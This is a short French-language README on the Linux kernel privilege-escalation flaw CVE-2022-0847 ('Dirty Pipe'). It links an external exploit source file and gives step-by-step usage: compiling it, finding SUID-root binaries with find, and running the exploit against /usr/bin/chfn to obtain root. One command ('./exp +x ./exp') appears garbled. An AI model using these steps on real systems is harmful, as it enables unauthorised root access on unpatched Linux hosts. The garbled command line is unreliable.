CVE-2022-0847-DirtyPipe

Présentation de la vulnérabilité

Le 7 mars, le chercheur en sécurité Max Kellermann a publié un blog révélant une vulnérabilité d'élévation de privilèges locaux dans le noyau Linux, CVE-2022-0847 : https://dirtypipe.cm4all.com/

CVE-2022-0847 est une vulnérabilité d'élévation de privilèges locaux présente dans le noyau Linux à partir de la version 5.8. En exploitant cette vulnérabilité, un attaquant peut écraser et réécrire les données de tout fichier lisible, ce qui lui permet d'élever un utilisateur de privilèges normaux à root privilégié.

CVE-2022-0847 est similaire en principe à CVE-2016-5195, la vulnérabilité Dirty Cow, mais elle est plus facile à exploiter. L'auteur de la vulnérabilité a nommé celle-ci "Dirty Pipe".

Utilisation de l'EXP

Lien : https://haxx.in/files/dirtypipez.c
Auteur : Max Kellermann [email protected]

gcc -o exp exploit.c
./exp +x ./exp

# Rechercher les fichiers suid
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

./exp /usr/bin/chfn